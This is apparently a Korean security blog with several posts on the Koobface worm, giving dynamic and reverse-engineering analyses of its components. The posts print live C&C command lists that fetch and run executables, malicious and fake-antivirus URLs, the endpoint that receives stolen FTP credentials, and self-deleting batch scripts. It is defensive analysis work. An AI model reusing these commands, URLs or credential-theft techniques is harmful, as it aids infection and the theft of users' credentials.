0x04 reference&tools2010. 11. 17. 10:21



[출처 : Symantec]

2010년 11월 12일(GMT), Koobface 봇넷 및 내부 운영에 대한 상세 정보를 공개하는 보고서가 발표되었습니다. 이 보고서는 해당 봇넷 일부 인프라의 실질적인 폐쇄와 때를 같이해 발표되었습니다.

영국에 기반한 ISP Coreix가 Koobface 봇넷 운영에 사용되는 이미 알려진 세 개의 C&C(Command and Control) 서버 중 하나에 대한 조치를 취했습니다.

Koobface는 소셜 네트워킹 사용자를 대상으로 하는 2008년 중반에 처음 모습을 드러낸 비교적 새로운 웜입니다. Koobface가 많은 소셜 네트워킹 사이트의 사용자들을 공격할 수 있지만, 특히 Facebook 사용자 대해 효과적인데, 이 때문에 Koobface라는 이름이 붙여졌습니다.

감염된 컴퓨터의 사용자가 자신의 계정에 로그인하면, 동영상과 같은 다양한 아이템에 대한 링크를 포함한 메시지를 게시할 목적으로 세션 가로채기가 수행됩니다. 해당 링크는 종종 다계층의 리디렉션을 수행하며, 최종적으로 비디오 코덱으로 위장한 위조 안티바이러스 소프트웨어를 전형적으로 제공하는 다양한 사이트로 연결됩니다.

해당 봇넷 운영의 재정 부분은 이 보고서에서 다루고 있는 흥미로운 부분입니다. 해당 정보는 이 봇넷 운영자들이 자신들의 사업을 제어 및 모니터링할 목적으로 관리하는 "mothership" 컴퓨터에 의해 관리되고 있는 파일
및 레코드에서 수집되었습니다.

해당 보고서는 Koobface가 PPC(Pay Per Click) 광고 및 악성 프로그램의 PPI(Pay Per Install)를 위주로 한 다양한 작업들을 통해 수익을 창출하고 있다고 언급하고 있습니다. 연구원들이 조사를 수행한 기간인 2009년 6월부터 2010년 6월 동안 해당 봇넷이 창출한 자금은 거의 미화 200만 달러에 달했습니다.


Koobface: Inside a Crimeware Network
http://www.infowar-monitor.net/reports/iwm-koobface.pdf

Posted by demantos
0x02 analysis2009. 11. 27. 16:53


얼마전에 트래픽 위주 분석을 했었습니다.
이번에는 파일을 분석해봤습니다.
원래는 같이 해야하는데 리버싱은 전문 분야가 아니라서...-_-;;

먼저 HTTP Request 발생시 요청하는 파일들을 우선으로 분석해 보았습니다.

 STARTONCE|http://e-secretary.es/.sys/?getexe=v2prx.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=pp.12.exe
 WAIT|60
 STARTONCE|http://e-secretary.es/.sys/?getexe=get.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=fb.73.exe
 START|http://e-secretary.es/.sys/?getexe=v2captcha.exe
 START|http://e-secretary.es/.sys/?getexe=v2googlecheck.exe


STARTONCE나 START와 같은 C&C 명령은 트렌드마이크로 보고서를 참조하시기 바랍니다.


0x01 v2prx.exe

이 파일은 실행 후 ze-biz.com에 접속하려 하지만 정상적으로 접속이 되지 않습니다.
3-way handshaking이 정상적으로 이루어지지 않아 연결이 끊기고 c:\windows\system32\fio32.dll을 생성해서 fioo32라는 서비스를 생성합니다. 이 서비스는 svchost에 dll injection해서 생성되고 있었습니다.

이 서비스는 8085 포트를 오픈하고 XP 방화벽 정책에 해당 서비스를 오픈해주고 있었으며 driver 밑에 fio32.sys라는 드라이버도 생성했었습니다.
그외 별다른 행동은 하지 않았습니다.


0x02 pp.12.exe

pp.12.exe는 실행 후 자기 자신을 C:\WINDOWS에 pp12.exe로 복사하고 시작프로그램으로 등록시킵니다.
그리고 재부팅 후 Fake Anti-Virus 설치를 유도합니다. 다른 조건이 있을 수 있겠지만 일단 제가 파악한 상황은 재부팅 후 어느 정도 시간이 지난후(대략 10분정도?)에 설치를 유도하고 있었습니다. 뭐...재부팅 안해도 되긴하겠지만 시작프로그램으로 등록하고 있어서 혹시나 하는 마음에 재부팅해 본 것이었습니다.

그리고 pp12.exe와 동일한 폴더에 fdgg34353edfgdfdf 라는 파일을 생성하는데 파일 내용은 "2"라는 숫자가 전부였습니다.
무엇을 의미하는 것인지 정확히 파악이 되지는 않습니다.





이 파일도 koobface 웜들과 Request가 비슷한 형태를 띄고 있었는데 따로 언급하지는 않겠습니다.
한가지만 말씀드리자면 Fake Anti-Virus 설치를 유도하는 URL이 Request에 몇개가 지정되어 있습니다.

http://austriamoney.cn/?pid=312s01&sid=4db12f
--> http://royalsecure-a.com/scan1/?pid=312s1&engine=%3DnQ15jzxOTEzOS4xNC4zJnRpbWU9MTI1LjMyMA0MaA%3DN
http://thesecurityutility.net/index.php?affid=12400
http://egafuki.cn/22/?uid=13300


0x03 get.exe

get.exe는 감염된 PC에서 지정된 FTP 프로그램이 설치되어 있는지 확인한 후 각 프로그램들이 사용하는 FTP 연결 정보가 저장된 파일들을 찾아서 C&C 서버에 보내는 역할을 하고 있었습니다.




목록은 위에 보시는것과 같습니다.
테스트시 FileZilla와 CuteFTP를 설치해서 테스트했습니다.
프로그램 설치여부 확인은 레지스트리키값이 존재하는지와 해당 프로그램 설치 후 연결 정보를 가지고 있는 파일의 위치를 찾아서 파일이 있는지를 확인합니다.





CuteFTP에서 사용하는 sm.dat 파일과 FileZilla에서 사용하는 sitemanager.xml 파일을 읽고 있습니다.
sitemanager.xml 같은 경우 xml 포맷으로 작성되어 있어 다음과 같이 그 포맷에 해당하는 정보가 있는지 찾습니다.




라인단위로 읽어서 위와 같은 태그들이 있는지 확인하고 있으면 그 정보를 저장합니다.


 
이렇게 특정 위치에 저장된 데이터는 POST방식을 통해 C&C(xtsd20090815.com)으로 보내집니다.




 

수집된 정보를 전송한 후에 SelfDel.bat 파일을 만들어서 get.exe 파일과 자기 자신을 삭제합니다.

:try
del "D:\00_malware\aa\unpack_get.exe"
if exist "D:\00_malware\aa\unpack_get.exe" goto try
del "SelfDel.bat"

get.exe의 역할은 여기까지입니다.

결국 좀비PC에서 사용중인 FTP 프로그램의 정보(IP/Domain, ID, Pass)를 C&C 서버로 전송하는 역할입니다.

 

0x04 v2captcha.exe

captcha 화면을 보여주는 역할을 하는 파일입니다.
C:\Program Files\captcha.dll이 있는지 확인하고 있으면 지운 다음 다시 생성합니다. 그리고 같은 위치에 captcha.bat 파일을 생성해서 rundll32 파일을 이용해서 captcha.dll을 실행하고 원본파일(v2captcha.exe)와 captch.bat 파일을 삭제합니다.

captcha.dll을 생성할때 읽기 전용(READONLY), 숨김(HIDDEN), 시스템파일(SYSTEM)의 속성을 부여합니다.



captcha.bat 배치파일을 생성합니다. 이 파일은 rundll32를 이용해서 captcha.dll 프로세스를 생성하고 captcha.bat와 v2captcha.exe 파일을 삭제하는 역할을 합니다.





CreateProcessA 함수가 실행되면 captcha.bat가 실행되고 아래와 같은 HTTP Request가 발생하면서 Captcha 화면이 보여지면서 Captcha 화면에 나온 문자열을 입력하면 해제됩니다.





0x05 v2googlecheck.exe

이 파일은 트래픽 위주 분석의 마지막부분에 있었던 내용의 트래픽을 유발시키는 파일이었습니다.
처음엔 그냥 무작정 트래픽만 보고 해서 애매했던게 파일을 분석해보니 정확하게 나오더군요..

이 파일은 크게 세가지 부분을 가지고 있었습니다.

1. http://capthcabreak.com/check/in.php?v=7
2. http://www.facebook.com/l.php?u=<악성URL>
3. http://capthcabreak.com/check/out.php?v=7

첫번째와 세번째는 capthcabreak.com에 들어가고(in.php) 나가는(out.php) 것을 확인하기 위함으로 보입니다.
문제는 두번째 보이는 URL이데요...하나씩 보도록 하겠습니다.

먼저 in.php를 요청하면서 들어갑니다.(지금은 들어간다는 표현밖에 생각이 나질 않습니다...ㅜ.ㅜ 저질 어휘력이 문제...)




위 그림에서 CALL unpack_v.00401000이 HTTP 패킷을 만들어서 서버에 Request를 날리는 함수입니다.
일단 첫번째 Request를 보내고 나면 C:\Documents and Settings\demantos\Local Settings\Temp에 tmp 파일을 생성합니다. 이 tmp 파일은 GetTickCount 함수의 리턴값으로 파일명을 만듭니다.




파일명을 먼저 만들고 동일한 파일이 있으면 삭제한 후 다시 만듭니다.
만들어지는 파일에는 악성URL이 들어 있는데 이 URL들이 계속 랜덤하게 바뀌는데 이 URL은 위에서 /check/in.php?v=7 요청에 대한 응답에 있습니다. 즉, capthcabreak.com 서버에서 랜덤하게 전송해주고 있었습니다.




이렇게 받은 응답을 tmp 파일에 기록합니다.
위와 아래 URL 다른것은 초반에 제가 캡쳐를 안해서 다시 실행하면서 바뀐 것입니다. -_-;;
이걸로만 봐도 계속 랜덤하게 변경되는 것을 알 수 있습니다. ^^;


 

만들어진 파일 내부에는 위에서 보셨던 악성URL이 들어 있습니다.




tmp 파일에 있는 악성URL을 자세히 보시면 http://bit.ly/7NYacB 가 나오고 0x0A가 나온 후 1007763과 0x0A가 한번 더 나옵니다.
바로 다음에 나오지만 첫번재 0x0A 이후로는 실제 악성URL에서 제외됩니다. 결국 http://bit.ly/7NYacB만 악성URL이 되고 0x0A 뒤에 나오는 숫자는 일종의 checksum 역할을 합니다.






참고
bit.ly는 URL을 줄여서 만들어주는 역할을 하는 사이트입니다. (http://bit.ly)

http://malwarelab.tistory.com == http://bit.ly/8ocgTO

일전에 K***에서 bit.ly 도메인을 막으려다가 다시 해제했던 일이 있었습니다.
악성도메인이라고 할 수는 없지만 악의적으로 사용되고 있는게 사실입니다.
언제가 될지 모르겠지만 개인적인 생각으로는 언젠간 차단될 상황이 발생하지 않을까 생각됩니다.


이렇게 실제 사용할 악성URL을 만든 후 함수 하나가 나옵니다.




이 함수는 http://bit.ly/7NYacB 에서 특수문자를 hex 형태로 변형시켜주는 역할을 합니다. 실제 함수는 아래 내용입니다.
isalnum 함수는 영문자나 숫자인지 확인하는 함수입니다.

URL에서 특수문자로 된 부분들을 찾아낸 후 특수문자를 hex 형태로 변형시켜줍니다.
: --> %3A로 / --> %2F와 같은 형태로 변형시킵니다.
0x004015DB에 있는 특수문자들은 변형시키지 않고 그대로 사용하기 위함입니다. 예를 들어 hacker.com이라는 문자열을 아래 함수에 넣으면 아무것도 변경되는게 없는 것이죠.




이렇게 특수문자를 hex 형태로 변형시키는 이유는 바로 다음에 나옵니다.
HTTP 패킷을 만들어 보내는데 악성URL이 파라미터의 인자값으로 들어갑니다.

http://www.facebook.com/l.php?=http%3A%2F%2Fbit.ly%2F7NYacB




처음에도 잠깐 나왔던 함수인데 0x00401000에 위치한 함수는 HTTP 패킷을 만들어 보내는 역할을 합니다.




함수 내부에 보면 페이로드 데이터가 필요한 HTTP 패킷이면 POST 방식을 사용하고 그렇지 않은 패킷이면 GET 방식을 사용하게끔 되어 있습니다. 즉, EBP+14와 EDI를 비교해서 같으면 점프를 시키고(GET), 같지 않으면 점프하지 않습니다(POST).




생성된 tmp 파일은 특정 위치에 저장한 후 삭제하는데 ReadFile 함수에 의해 EDI에 tmp 파일의 내용이 있는 위치를 로드시킵니다.




실제로 지금까지의 과정이 한번 더 수행하면서 바로 위에 보이는 초록색 테두리처럼 HTML 내용을 만듭니다.
0x00401765 주소에서 호출하는 0x00401558 함수는 악성URL과 HTML 내용을 비교해서 동일한 부분이 있는지 찾습니다.




위 함수의 내부 코드입니다. 실제로 비교하는 부분이죠.
아래쪽에 보시면 http://bit.ly/7NYacB가 HTML 내용에 있는지 확인하고 있습니다.




0x00401558 함수를 두번 실행하는데(아래 그림에서 첫번째는 짤렸습니다 -_-) 처음 실행한 결과를 EBP-C에 저장하고 있었습니다. 즉 악성URL과 동일한 내용이 있냐 없냐를 검사하는 함수인데 없을 경우 0 있을 경우 HTML 내용이 있는 주소값을 반환합니다.

이것은 facebook에 의해 악성URL의 차단 여부를 확인하는 것이고

EBP-C에
  - 0인 경우 /check/blocked.php?v=7&url=<악성URL>
  - 0이 아닌 경우 /check/dump.php?v=7&url=<악성URL>

과 같이 HTTP Request를 생성합니다.




앞에서 tmp에 있던 내용중 실제 악성URL 뒤에 오던 잘라졌던 숫자 기억나시죠?
checksum 역할을 한다고 했던...
그놈을 가져와서 /check/out.php?v=7의 페이로드로 붙여서 요청을 합니다.




결국 in.php를 요청할 때 악성URL과 checksum값을 받아와서 이 악성URL이 차단되었는지 차단되지 않았는지 확인한 후 dump.php나 blocked.php를 요청하고 out.php를 요청하면서 in.php에서 받아왔던 checksum값을 전송하면서 한 사이클이 끝납니다.

그리고 잠깐 쉽니다. 잠깐 쉬고(5분) 나서 EAX와 0x64(100.)을 비교해서 EAX값이 0x64보다 작으면 /check/in.php?v=7을 요청하는 루틴으로 다시 점프합니다. 즉, 위와 같은 행위를 총 100번을 수행한다는 것이죠..




100번을 모두 돌고 나면 c:\fbcheck.bat 파일을 생성합니다.




fbcheck.bat 파일 내용은 다음과 같습니다.

 :Repeat
 del "D:\00_malware\aa\unpack_v2googlecheck.exe"
 if exist "D:\00_malware\aa\unpack_v2googlecheck.exe" goto Repeat
 del "c:\fbcheck.bat"

할일 다 했으니 exe 파일을 삭제하고 bat 파일 자신도 삭제하는 배치파일입니다.

 

이상으로 최초 접속시 다운로드 후 실행하는 파일들이 어떤 행동을 하는지 살펴봤습니다.

기타 SNS 공격용 파일들은 - fb.xx.exe, tw.xx.exe, ms.xx.exe 등등 - 별도로 분석을 할 예정입니다.



짬짬이 하다보니 상당히 길어진 느낌이 듭니다. ㅜ.ㅜ




Posted by demantos
0x02 analysis2009. 11. 20. 14:57


샘플은 offensivecomputing에서 확보했습니다.

File Name : setup.exe
File Size : 40,960 byte
md5sum : d274d51cd78c9e0ee79ab61880dc22b5


이전 글(http://malwarelab.tistory.com/?page=3)에 첨부된 트렌드마이크로 분석보고서와는 약간 다른 양상을 보이고 있는 것으로 보입니다. 전체적인 큰 틀은 거의 동일하지만 파일들도 많이 바뀐 것 같고 내부 로직도 일부 변경된 것으로 보입니다.

게다가 얼마전 ASEC의 블로그에 게재된 글에서 확인된 setup.exe와 사이즈가 차이가 있는 것으로 보아 지속적으로 변종이 나올 위험성이 있는 것으로 보입니다.


먼저 setup.exe 파일을 실행시켜 봤습니다.
보통 악성코드가 실행되어 접속하는 사이트들은 악성사이트로 간주하는 경우가 대부분이고 반복적으로 실행하더라도 접속하는 도메인이나 IP가 동일한 경우가 대부분입니다. (여기서 반복 실행은 모두 깨끗한 상태에서 실행을 의미합니다)

하지만 제가 획득한 setup.exe는 달랐습니다.
매번 실행할때마다 접속하는 사이트가 달랐습니다. -_-;;

그래도 어쨋든 일정 패턴을 가지고 있었습니다.

setup.exe 실행 직후에는 모두 google.com으로 접속합니다. 이는 현재 악성코드가 실행된 좀비가 인터넷이 가능한 환경인지 확인하기 위함입니다.




그리고 나서 악성코드를 다운로드하기 위한 사이트로 접속합니다.




dozerdoggie.com나 rowanhenderson.com 사이트는 정상사이트입니다.
dozerdoggie.com에 요청한 결과에는 404 Not Found가 나오자 rowanhenderson.com에 다시 동일한 내용을 요청합니다.

/.sys/?action=ldgen&v=15




위 URL을 요청하자 특정 포맷으로 이루어진 결과를 보내주고 있습니다.

/.sys/?getexe=v2prx.exe
/.sys/?getexe=pp.12.exe
/.sys/?getexe=get.exe
/.sys/?getexe=fb.73.exe
/.sys/?getexe=v2captcha.exe
/.sys/?getexe=v2googlecheck.exe


위에서 잠깐 말씀드렸지만 setup.exe를 실행할때마다 이런 도메인들이 계속 바뀝니다.
그것도 완전 랜덤으로 바뀌는데다가 대부분 정상사이트들입니다.

이번엔 비슷한 URL을 한번 더 요청합니다.




/.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=0&c_tw=0&c_be=1&c_tg=0&c_nl=1

위 내용을 요청하면 아래와 같은 응답이 옵니다.




이번에는 약간 다른 요청을 하는데 URL에 포함된 파라미터에 따라 다운받을 파일들이 변합니다.

/.sys/?action=ldgen& --> 목록 생성(정도의 의미로 보면 될것 같습니다)
a=-1201776206& --> ???? (무슨 의미일지 가장 궁금한데 알 수가 없습니다) 좀비IP와 연관이 있을 것으로 추정됩니다.
v=15& --> 버전
l=1000& --> PID
c_fb=1& --> Facebook 사용중인지 확인하는 파라미터
c_ms=1& --> MySpace 사용중인지 확인하는 파라미터
c_hi=0& --> hi5 사용중인지 확인하는 파라미터
c_tw=0& --> Twitter 사용중인지 확인하는 파라미터
c_be=1& --> bebo 사용중인지 확인하는 파라미터
c_tg=0& --> tagged 사용중인지 확인하는 파라미터
c_nl=1 --> netlog 사용중인지 확인하는 파라미터



파라미터값이 1이면 사용중이라는 것이고 0이면 사용중이지 않다라는 의미입니다.
사용중인 것을 확인하는 것은 쿠키가 있는가 없는가를 가지고 판단하고 있었습니다. c_ 의 의미가 쿠키의 약자인듯 합니다.

결국 사용중인 Social Networking 사이트의 정보를 빼내갈 수 있는 악성코드만 다운로드하기 위함으로 보입니다.
Twitter를 사용하지도 않는데 Twitter 정보를 빼가는 악성코드를 다운로드해서 설치해봐야 의미가 없다는 생각이겠죠.

실제로 /.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=1&c_tw=1&c_be=1&c_tg=1&c_nl=1 와 같은 형태로 요청을 해보면 모두 다운로드할 수 있는 링크를 보여줍니다.



트렌드마이크로 분석보고서에 보면 fubar.com이나 myyearbook.com, friendster.com과 같은 사이트에 대한 악성코드가 존재한다고 해서 c_fu=1&c_yb=1&c_fr=1을 붙여서 요청해봤지만 이 세개의 사이트에 대한 악성코드는 다운로드 되지 않았습니다.

즉, 쿠키가 존재 여부를 확인하여 파라미터값을 1로 설정하여 쿠키가 존재하는 사이트의 정보를 유출할 수 있는 악성코드만 다운로드하게끔 하고 있습니다.




목록에 지정된 파일들을 다운로드해서 실행합니다.

get.exe 파일을 다운로드해서 실행하면 xtsd20090815.com 도메인으로 연결을 하면서 특정 정보를 전송해줍니다.
이 도메인은 Koobface C&C 도메인으로 get.exe 파일이 실행되면 아래에 나열된 FTP 프로그램들의 설치 여부를 확인한 후 저장된 정보가 있으면 그 정보를 C&C 서버에게 전송합니다.

<Koobface C&C 관련 참고사이트>
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front.html
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front-part-two.html

hxxp://xtsd20090815.com/adm/index.php?logs=<FTP사이트정보>






디버거로 확인한 결과 여러가지 FTP 프로그램의 레지스트리값을 뒤져서 있는 경우 해당 프로그램에서 사용하는 접속 정보를 저장하는 파일을 읽어서 logs= 뒤에 붙여서 C&C 서버로 전송하고 있었습니다. 위 그림에서는 짤렸는데 Internet Explorer를 통해 FTP 접속시 저장된 계정 정보도 유출하고 있었습니다.


Social Networking 사이트를 공격하는 악성코드들이 실행되면 다음과 같은 Request들이 발생합니다.

/.sys/?action=msgen&v=24
/.sys/?action=msgen&a=-1201776206&v=24







Reponse에 있는 내용은 최초 악성코드를 유포하는 코덱을 다운로드하게끔 하는 사이트로 연결하는 링크를 포함한 쪽지 내용들입니다. 이런식으로 계속 Social Networking 사이트 사용자들에게 쪽지를 보내 setup.exe 파일의 설치를 유도하고 있었습니다.



다운로드 되는 파일은 제가 처음에 분석하고 있던 파일들과 약간 사이즈가 다른 것으로 보아 변종으로 생각됩니다.

하지만 현재 다운로드되는 파일들이 여러 사이트를 통해 다운로드되지만 사이즈 확인 결과 모두 비슷한 파일인 것을 확인했습니다.
md5sum값은 모두 다르지만 ssdeep으로 확인해본 결과 모두 약간의 차이만 있는 변종 파일들이었습니다.

PS E:\04.analysis\binary\koobface\other_malware> ssdeep set*
ssdeep,1.0--blocksize:hash:hash,filename
384:5AZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:2ZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup.exe"
384:jAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:EZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup1.exe"
384:DAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:kZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup2.exe"

그리고 눈치채신 분들도 계시겠지만 악성코드들의 버전이 업그레이드되었습니다.
조금 전에 보셨던 요청 URL인 /.sys/?action=msgen&v=24에서 v=는 버전을 의미합니다.
처음에 보여드렸던 다운로드 파일은 ms.23.exe였는데 현재는 24입니다. 대부분의 악성코드들이 업그레이드 된 것으로 보입니다.

/.sys/?action=msgen&v=23을 요청하면 다음과 같은 응답이 옵니다.

#BLACKLABEL
RESET
UPDATE|http://inartdesigns.com/.sys/?getexe=ms.24.exe
EXIT
MD5|9f0c7d4916360cd4bc489270f5d62087


현재버전이 24이니 그걸로 업데이트해라....이런 말이죠...

처음 분석을 시작했을때(10일전)와 버전이 변경된건 2개였고 1개가 추가되었습니다.

#BLACKLABEL
#GEO=KR
#IP=221.139.14.3
#PID=1000
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=get.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=fb.75.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=be.18.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=ms.24.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=hi.15.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tg.14.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tw.07.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2newblogger.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2captcha.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2googlecheck.exe
MD5|f6110f3897ea1241482631a2c71cf0a9



모든 감염이 이루어진 후에는 다음과 같은 Captcha 화면을 보여줍니다.



화면에 보이는 글자는 정상적으로 입력하지 않아도 화면이 풀리게 되어 있습니다. 물론 틀리면 틀렸다는 메시지를 보여주지만 다섯번 정도 틀린 후에는 정상적으로 화면이 풀립니다.
머...틀린 글자를 입력해도 풀리긴 하지만 이렇게 푼 경우에는 조금 후에 다시 captcha 화면이 보여집니다.

captcha 이미지와 관련된 요청은 capthcabreak.com과 captchastop.com에게 하고 있었는데 두개의 도메인이 동일한 IP를 사용하고 있었습니다. 실행할때마다 capthcabreak.com하고만 통신하는 경우가 있었고 간혹 둘 다 통신하는 경우도 있었는데 IP가 동일하기 때문에 별 의미는 없는 것으로 보입니다.

/captcha/?a=get&i=0&v=14 --> captch 이미지 요청
/blogspot/newblogger.php?a=names&ver=12
/captcha/tmp/go9482090.jpg --> captcha 이미지
/check/in.php?v=7
/check/blocked.php?v=7&url=http%3A%2F%2Fbit.ly%2F1ZwUlt --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=put&id=go9482090&v=14&code=schanato --> captcha 이미지상의 문자열 입력
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482187
/check/in.php?v=7
/check/dump.php?v=7&url=http%3A%2F%2Fsiriuspro.com%2F122%2F --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7

?a=save와 ?a=query는 무슨짓을 하는지 파악이 잘 안되고 있습니다.
솔직히 captcha는 별게 없어 보이는데 분석할수록 뭔가 이상한게 계속 나오고 있습니다. -_-;;

/check/in.php?v=7은 위와 같은 악성페이지들의 목록과 크기(byte)을 랜덤하게 보여주고 여기서 확인된 악성페이지를 blocked.php나 dump.php를 이용해서 악성페이지 내용을 그대로 올리고 있는데 HTML 내용을 보면 Facebook 페이지 중 하나를 그대로 사용한 것이고 continue 버튼을 누르면 setup.exe 파일을 다운로드 하는 사이트로 연결됩니다.
blocked.php나 dump.php가 번갈아가면서 사용이 되는데 아직 정확히 어떤 조건에서 둘 중 하나를 쓰는지 확인은 못했습니다.




일단은 여기까지가 setup.exe를 실행시켜 동적분석한 내용입니다.

결국 /.sys/?action= 과 /.sys/?getexe= 이라는 URL을 통해서 뭔가 행동을 하고 있습니다.
부가적인 악성코드도 받아오고 악성페이지를 보여조는 쪽지를 보내기도 하구요..

그래서 IDS에 패턴을 넣어서 추이를 살펴본 결과 C&C로의 통신이나 위 두개의 URL을 요청하는 경우가 그리 많지는 않았습니다.
랜덤하게 사용되는 악성코드 유포 사이트들의 도메인이름도 .kr 도메인은 하나도 보질 못했고 Top Level Domain들이 대부분이었고 TLD가 아닌 경우에는 유럽이나 미국쪽 사이트들이었습니다.


뭔가 좀 부족한 느낌이 드는건 아직 파일을 동적 분석해보지 않았다는 것이 되겠습니다. -_-;;
조만간 짬짬히 시간을 내서 파일 분석을 해보면 어떤 파일이 어떤 행동을 하는지 좀 더 명확해질 것 같습니다.

바이너리는 조만간(?) 분석해서 따로 글을 게시하도록 하겠습니다.




Posted by demantos
0x04 reference&tools2009. 11. 10. 14:08


오늘 아침 아래 글을 보았습니다.

http://blog.ahnlab.com/asec/176?TSSESSIONblogahnlabcom=67765c093a27d0b62777426c78d3e4c4


이슈가 된지 오래되었는데 이전에 나왔던 koobface와 약간 다른 양상을 보인다고 하는군요..
유튜브(YouTube) 동영상 관련 코덱으로 위장해서 전파가 되고 있었고
동영상을 클릭하면 Flash Player 10.37을 설치하라고 하면서 Setup.exe 파일을 다운로드해서 실행한다고 합니다.
일단 감염이 되면 system32 폴더에 ld15.exe 파일을 생성합니다.

이번건이 변종이라고 해서 예전에 나왔던 샘플을 구해봤습니다.
꽤 많더군요..(20개 -_-;;)

일단 앞뒤 안보고 전부 실행해봤습니다.
파일들이 많이 생기더군요..

이번건와 다른점은 system32 폴더가 아닌 C:\WINDOWS 폴더에 파일들을 생성하고 있었습니다.

좀 더 검색을 해보니 트렌드마이크로에 좋은 분석 자료들이 있더군요..

일단 koobface 웜의 동작도(?)부터 보시죠..


[클릭해서 크게보세요]


원문 : http://blog.trendmicro.com/the-real-face-of-koobface/


참 대단한 녀석이군....이라는 생각이 들었습니다.
시간나면 확보된 샘플들 하나씩 분석해봐야겠습니다.
(과연....가짜 rar이나 마무리 지어라...-_-;;;;)

마지막으로 트렌드마이크로에서 가져온 koobface 분석보고서입니다.
상당히 자세하게 작성되어 있는 좋은 자료로 보여 첨부합니다.






Posted by demantos